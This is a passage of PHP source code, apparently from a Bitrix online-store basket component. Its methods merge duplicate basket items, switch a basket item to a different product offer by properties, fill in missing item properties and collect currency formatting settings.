				$result['ERRORS'] = $res->getErrors();
			}
		}

		return $result;
	}

	protected function mergeProductOffers($basketItemId)
	{
		$result = new Sale\Result();

		$basketItemId = (int)$basketItemId;
		if ($basketItemId <= 0)
			return $result;

		$basket = $this->getBasketStorage()->getBasket();
		/** @var Sale\BasketItem $currentBasketItem */
		$currentBasketItem = $basket->getItemByBasketCode($basketItemId);
		if (empty($currentBasketItem))
			return $result;

		if ($currentBasketItem->getField('MODULE') !== 'catalog')
			return $result;

		if ($currentBasketItem->isBundleParent() || $currentBasketItem->isBundleChild())
			return $result;

		$currentBasketItemHash = $this->getBasketItemHash(
			$currentBasketItem->getFieldValues() + array('PROPS' => $this->getBasketItemProperties($currentBasketItem))
		);

		$mergedBasketItems = array();

		/** @var Sale\BasketItem $basketItem */
		foreach ($basket as $basketItem)
		{
			if ($basketItem->getField('MODULE') !== 'catalog')
				continue;

			if ($basketItem->isBundleParent() || $basketItem->isBundleChild())
				continue;

			$basketItemHash = $this->getBasketItemHash(
				$basketItem->getFieldValues() + array('PROPS' => $this->getBasketItemProperties($basketItem))
			);

			if ($basketItemHash === $currentBasketItemHash)
			{
				$mergedBasketItems[] = $basketItem;
			}
		}

		$mergedBasketCodes = array();

		if (!empty($mergedBasketItems))
		{
			$quantity = 0;
			/** @var Sale\BasketItem $basketItem */
			foreach ($mergedBasketItems as $basketItem)
			{
				if ($basketItem === $currentBasketItem)
					continue;

				$mergedBasketCodes[] = $basketItem->getBasketCode();
				$quantity += $basketItem->getQuantity();

				$res = $basketItem->delete();
				if (!$res->isSuccess())
				{
					$result->addErrors($res->getErrors());
				}
			}

			$res = $currentBasketItem->setField('QUANTITY', $currentBasketItem->getQuantity() + $quantity);
			if (!$res->isSuccess())
			{
				$result->addErrors($res->getErrors());
			}
		}

		$result->addData(array('MERGED_BASKET_ITEMS' => $mergedBasketCodes));

		return $result;
	}

	protected function changeProductOfferWithoutSave($basketId, $searchType, $searchData, $useMerge = true)
	{
		$result = new Sale\Result();

		$basketId = (int)$basketId;
		if ($basketId <= 0)
			return $result;

		$searchType = (string)$searchType;
		if ($searchType != self::SEARCH_OFFER_BY_ID && $searchType != self::SEARCH_OFFER_BY_PROPERTIES)
			return $result;

		if (!is_array($searchData))
			return $result;

		if (empty($this->offersProps) || !is_array($this->offersProps))
			return $result;

		$newOfferId = 0;
		$propertyValues = array();

		if ($searchType == self::SEARCH_OFFER_BY_ID)
		{
			if (!isset($searchData['ID']))
				return $result;

			$newOfferId = (int)$searchData['ID'];
			if ($newOfferId <= 0)
				return $result;
		}
		else
		{
			$propertyValues = array_filter($searchData);
			if (empty($propertyValues))
				return $result;
		}

		$basket = $this->getBasketStorage()->getBasket();
		/** @var Sale\BasketItem $currentBasketItem */
		$currentBasketItem = $basket->getItemByBasketCode($basketId);
		if (empty($currentBasketItem))
			return $result;

		if ($currentBasketItem->getField('MODULE') !== 'catalog')
			return $result;

		if ($currentBasketItem->isBundleParent() || $currentBasketItem->isBundleChild())
			return $result;

		$currentOfferId = $currentBasketItem->getProductId();
		$parent = CCatalogSku::getProductList($currentOfferId, 0);

		if (empty($parent[$currentOfferId]))
			return $result;

		$parent = $parent[$currentOfferId];

		$treeProperties = \CIBlockPriceTools::getTreeProperties(
			array('IBLOCK_ID' => $parent['OFFER_IBLOCK_ID'], 'SKU_PROPERTY_ID' => $parent['SKU_PROPERTY_ID']),
			$this->offersProps
		);

		if (empty($treeProperties))
			return $result;

		if ($searchType == self::SEARCH_OFFER_BY_PROPERTIES)
		{
			$newProduct = $this->selectOfferByProps($parent['IBLOCK_ID'], $parent['ID'], $currentOfferId, $propertyValues, $treeProperties);
		}
		else
		{
			$newProduct = $this->selectOfferById($parent['IBLOCK_ID'], $parent['ID'], $currentOfferId, $newOfferId, $treeProperties);
		}

		if ($newProduct === null)
			return $result;

		$existBasketItem = null;
		/** @var Sale\BasketItem $basketItem */
		foreach ($basket as $basketItem)
		{
			if ($basketItem->getField('MODULE') !== 'catalog')
				return $result;

			if ($basketItem->isBundleParent() || $basketItem->isBundleChild())
				return $result;

			if ((int)$basketItem->getProductId() == $newProduct['ID'])
			{
				$existBasketItem = $basketItem;
			}
		}
		unset($basketItem);

		if ($useMerge && $existBasketItem)
		{
			$result = $existBasketItem->setField(
				'QUANTITY',
				$existBasketItem->getQuantity() + $currentBasketItem->getQuantity()
			);
			$currentBasketItem->delete();
		}
		else
		{
			if (strpos($newProduct['XML_ID'], '#') === false)
			{
				$parentData = Iblock\ElementTable::getList(array(
					'select' => array('ID', 'XML_ID'),
					'filter' => array('ID' => $parent['ID']),
				))->fetch();
				if (!empty($parentData))
					$newProduct['XML_ID'] = $parentData['XML_ID'].'#'.$newProduct['XML_ID'];
				unset($parentData);
			}

			$result = $currentBasketItem->setFields(array(
				'PRODUCT_ID' => $newProduct['ID'],
				'NAME' => $newProduct['NAME'],
				'PRODUCT_XML_ID' => $newProduct['XML_ID'],
			));
			if (!$result->isSuccess())
				return $result;

			$result = $basket->refresh(Basket\RefreshFactory::createSingle($currentBasketItem->getBasketCode()));
			if (!$result->isSuccess())
				return $result;

			$newProperties = CIBlockPriceTools::GetOfferProperties(
				$newProduct['ID'],
				$parent['IBLOCK_ID'],
				$this->offersProps
			);

			$offerProperties = array();
			foreach ($newProperties as $row)
			{
				$codeExist = false;
				foreach ($this->offersProps as $code)
				{
					if ($code == $row['CODE'])
					{
						$codeExist = true;
						break;
					}
				}
				unset($code);

				if (!$codeExist)
					continue;

				$offerProperties[$row['CODE']] = array(
					'NAME' => $row['NAME'],
					'CODE' => $row['CODE'],
					'VALUE' => $row['VALUE'],
					'SORT' => $row['SORT']
				);
			}
			unset($row);

			$offerProperties['PRODUCT.XML_ID'] = array(
				'NAME' => 'Product XML_ID',
				'CODE' => 'PRODUCT.XML_ID',
				'VALUE' => $currentBasketItem->getField('PRODUCT_XML_ID')
			);

			$properties = $currentBasketItem->getPropertyCollection();
			$oldProperties = $properties->getPropertyValues();

			if (empty($oldProperties))
			{
				$oldProperties = $offerProperties;
			}
			else
			{
				$oldProperties = $this->updateOffersProperties($oldProperties, $offerProperties);
			}

			$properties->setProperty($oldProperties);
			unset($offerProperties);
		}

		return $result;
	}

	public function changeProductOffer($basketId, $searchType, $searchData, $useMerge = true)
	{
		$result = $this->changeProductOfferWithoutSave($basketId, $searchType, $searchData, $useMerge);

		if ($result->isSuccess())
		{
			$basket = $this->getBasketStorage()->getBasket();
			$res = $basket->save();
			if (!$res->isSuccess())
			{
				$result->addErrors($res->getErrors());
			}
		}

		return $result;
	}

	protected function selectOfferByProps($iblockId, $productId, $currentOfferId, array $propertyValues, array $properties)
	{
		$iblockId = (int)$iblockId;
		if ($iblockId <= 0)
			return null;

		$currentOfferId = (int)$currentOfferId;
		if ($currentOfferId <= 0)
			return null;

		if (empty($properties))
			return null;

		$codeList = array_keys($properties);
		$clearProperties = array();
		foreach ($codeList as $code)
		{
			if (isset($propertyValues[$code]) && is_string($propertyValues[$code]) && $propertyValues[$code] !== '')
				$clearProperties[$code] = $propertyValues[$code];
			else
				unset($properties[$code]);
		}
		unset($code);
		$propertyValues = $clearProperties;
		unset($clearProperties);
		if (empty($propertyValues))
			return null;
		$codeList = array_keys($properties);

		$offers = CCatalogSku::getOffersList(
			$productId,
			$iblockId,
			array(
				'ACTIVE' => 'Y',
				'ACTIVE_DATE' => 'Y',
				'CATALOG_AVAILABLE' => 'Y',
				'CHECK_PERMISSIONS' => 'Y',
				'MIN_PERMISSION' => 'R'
			),
			array('ID', 'IBLOCK_ID', 'XML_ID', 'NAME'),
			array('CODE' => $codeList)
		);

		if (empty($offers[$productId]))
			return null;

		$offerList = array();
		foreach (array_keys($offers[$productId]) as $offerId)
		{
			$offerList[$offerId] = array(
				'ID' => $offers[$productId][$offerId]['ID'],
				'IBLOCK_ID' => $offers[$productId][$offerId]['IBLOCK_ID'],
				'XML_ID' => $offers[$productId][$offerId]['XML_ID'],
				'PROPERTIES' => $offers[$productId][$offerId]['PROPERTIES']
			);
		}
		unset($offerId, $offers);

		$result = null;

		$offersIndex = array_keys($offerList);
		foreach ($offersIndex as $offerId)
		{
			$data = $offerList[$offerId]['PROPERTIES'];

			$found = true;
			foreach ($propertyValues as $code => $value)
			{
				if ($data[$code]['~VALUE'] != $value)
				{
					$found = false;
					break;
				}
			}
			unset($code, $value);
			if ($found)
			{
				$result = $offerId;
				break;
			}
			unset($found, $data);
		}
		unset($offerId);
		if ($result === $currentOfferId)
			return null;
		if ($result === null)
		{
			$needValues = array();
			foreach ($codeList as $code)
			{
				$id = $properties[$code]['ID'];
				$needValues[$id] = array();
				foreach ($offersIndex as $offerId)
				{
					$valueId = (
					$offerList[$offerId]['PROPERTIES'][$code]['PROPERTY_TYPE'] == Iblock\PropertyTable::TYPE_LIST
						? $offerList[$offerId]['PROPERTIES'][$code]['VALUE_ENUM_ID']
						: $offerList[$offerId]['PROPERTIES'][$code]['VALUE']
					);
					if ($valueId == '')
						continue;
					$needValues[$id][$valueId] = $valueId;
					unset($valueId);
				}
				unset($offerId);
			}
			unset($code);

			\CIBlockPriceTools::getTreePropertyValues($properties, $needValues);
			unset($needValues);

			foreach ($codeList as $code)
			{
				if ($properties[$code]['VALUES_COUNT'] < 2)
					continue;
				$currentOffers = array();
				$existValues = array();
				foreach (array_keys($offerList) as $offerId)
				{
					$data = $offerList[$offerId]['PROPERTIES'][$code];
					if ($data['VALUE'] == $propertyValues[$code])
						$currentOffers[$offerId] = $offerList[$offerId];
					$valueId = null;
					switch ($data['PROPERTY_TYPE'])
					{
						case Iblock\PropertyTable::TYPE_ELEMENT:
							$valueId = ($data['VALUE'] == '' ? 0 : (int)$data['VALUE']);
							break;
						case Iblock\PropertyTable::TYPE_LIST:
							$valueId = ($data['VALUE_ENUM_ID'] == '' ? 0 : (int)$data['VALUE_ENUM_ID']);
							break;
						case Iblock\PropertyTable::TYPE_STRING:
							if ($data['USER_TYPE'] == 'directory')
							{
								if ($data['VALUE'] == '')
									$valueId = 0;
								else
									$valueId = $properties[$code]['XML_MAP'][$data['VALUE']];
							}
							break;
					}
					unset($data);
					if ($valueId !== null)
					{
						if (!isset($existValues[$valueId]))
							$existValues[$valueId] = array();
						$existValues[$valueId][] = $offerId;
					}
					unset($valueId);
				}
				if (empty($currentOffers))
				{
					if (empty($existValues))
						continue;
					foreach (array_keys($properties[$code]['VALUES']) as $valueId)
					{
						if (isset($existValues[$valueId]))
						{
							foreach ($existValues[$valueId] as $offerId)
								$currentOffers[$offerId] = $offerList[$offerId];
							unset($offerId);
						}
					}
				}
				$offerList = $currentOffers;
				unset($currentOffers);
			}
			unset($code);
			reset($offerList);
			$result = key($offerList);
			if ($result === $currentOfferId)
				return null;
		}

		return ($result === null ? null : $offerList[$result]);
	}

	protected function selectOfferById($iblockId, $productId, $currentOfferId, $newOfferId, $propertyCodes)
	{
		return null;
	}

	/**
	 * @param array $itemProperties
	 * @param array $propertyCodes
	 * @return array
	 */
	protected static function getMissingPropertyCodes(array $itemProperties, array $propertyCodes)
	{
		if (empty($propertyCodes) || !is_array($propertyCodes))
			return array();
		if (empty($itemProperties))
			return $propertyCodes;
		$result = array_fill_keys($propertyCodes, true);
		foreach ($itemProperties as &$property)
		{
			if (empty($property) || !is_array($property))
				continue;
			if (!isset($property['CODE']))
				continue;
			$code = trim((string)$property['CODE']);
			if ($code == '')
				continue;
			if (isset($result[$code]))
				unset($result[$code]);
		}
		unset($property);

		return (!empty($result) ? array_keys($result) : array());
	}

	/**
	 * @param array $basket
	 * @param int $basketId
	 * @return bool|int|string
	 */
	protected static function getBasketKeyById(array $basket, $basketId)
	{
		$result = false;

		$basketId = (int)$basketId;
		if ($basketId > 0)
		{
			if (!empty($basket) && is_array($basket))
			{
				foreach ($basket as $basketKey => $basketItem)
				{
					if (isset($basketItem['ID']) && $basketItem['ID'] == $basketId)
					{
						$result = $basketKey;
						break;
					}
				}
			}
		}

		return $result;
	}

	/**
	 * @param array $itemProperties
	 * @param array $missingCodes
	 * @param array $values
	 * @return void
	 */
	protected static function fillMissingProperties(array &$itemProperties, array $missingCodes, array $values)
	{
		if (empty($missingCodes) || !is_array($missingCodes))
			return;
		if (empty($values) || !is_array($values))
			return;
		foreach ($missingCodes as &$code)
		{
			if (!isset($values[$code]))
				continue;
			$found = false;
			foreach ($itemProperties as $existValue)
			{
				if (isset($existValue['CODE']) && $existValue['CODE'] == $code)
				{
					$found = true;
					break;
				}
			}
			unset($existValue);
			if (!$found)
				$itemProperties[] = $values[$code];
			unset($found);
		}
		unset($code);
	}

	protected static function updateOffersProperties($oldProps, $newProps)
	{
		if (!is_array($oldProps) || !is_array($newProps))
			return false;

		$result = array();
		if (empty($newProps))
			return $oldProps;
		if (empty($oldProps))
			return $newProps;
		foreach (array_keys($oldProps) as $code)
		{
			$oldValue = $oldProps[$code];
			$found = false;
			$key = false;
			$propId = (isset($oldValue['CODE']) ? (string)$oldValue['CODE'] : '').':'.$oldValue['NAME'];
			foreach ($newProps as $newKey => $newValue)
			{
				$newId = (isset($newValue['CODE']) ? (string)$newValue['CODE'] : '').':'.$newValue['NAME'];
				if ($newId == $propId)
				{
					$key = $newKey;
					$found = true;
					break;
				}
			}
			if ($found)
			{
				$oldValue['VALUE'] = $newProps[$key]['VALUE'];
				unset($newProps[$key]);
			}
			$result[$code] = $oldValue;
			unset($oldValue);
		}
		unset($code, $oldValue);

		if (!empty($newProps))
		{
			foreach (array_keys($newProps) as $code)
				$result[$code] = $newProps[$code];
			unset($code);
		}

		return $result;
	}

	protected function getFormatCurrencies()
	{
		$currencies = array();

		if (Loader::includeModule('currency'))
		{
			$currencyIterator = \Bitrix\Currency\CurrencyTable::getList(array(
				'select' => array('CURRENCY')
			));
			while ($currency = $currencyIterator->fetch())
			{
				$currencyFormat = \CCurrencyLang::GetFormatDescription($currency['CURRENCY']);
				$currencies[] = array(
					'CURRENCY' => $currency['CURRENCY'],
					'FORMAT' => array(
						'FORMAT_STRING' => $currencyFormat['FORMAT_STRING'],
						'DEC_POINT' => $currencyFormat['DEC_POINT'],
						'THOUSANDS_SEP' => $currencyFormat['THOUSANDS_SEP'],
						'DECIMALS' => $currencyFormat['DECIMALS'],
						'THOUSANDS_VARIANT' => $currencyFormat['THOUSANDS_VARIANT'],
						'HIDE_ZERO' => $currencyFormat['HIDE_ZERO']
					)
				);
			}
		}

		return $currencies;
	}
}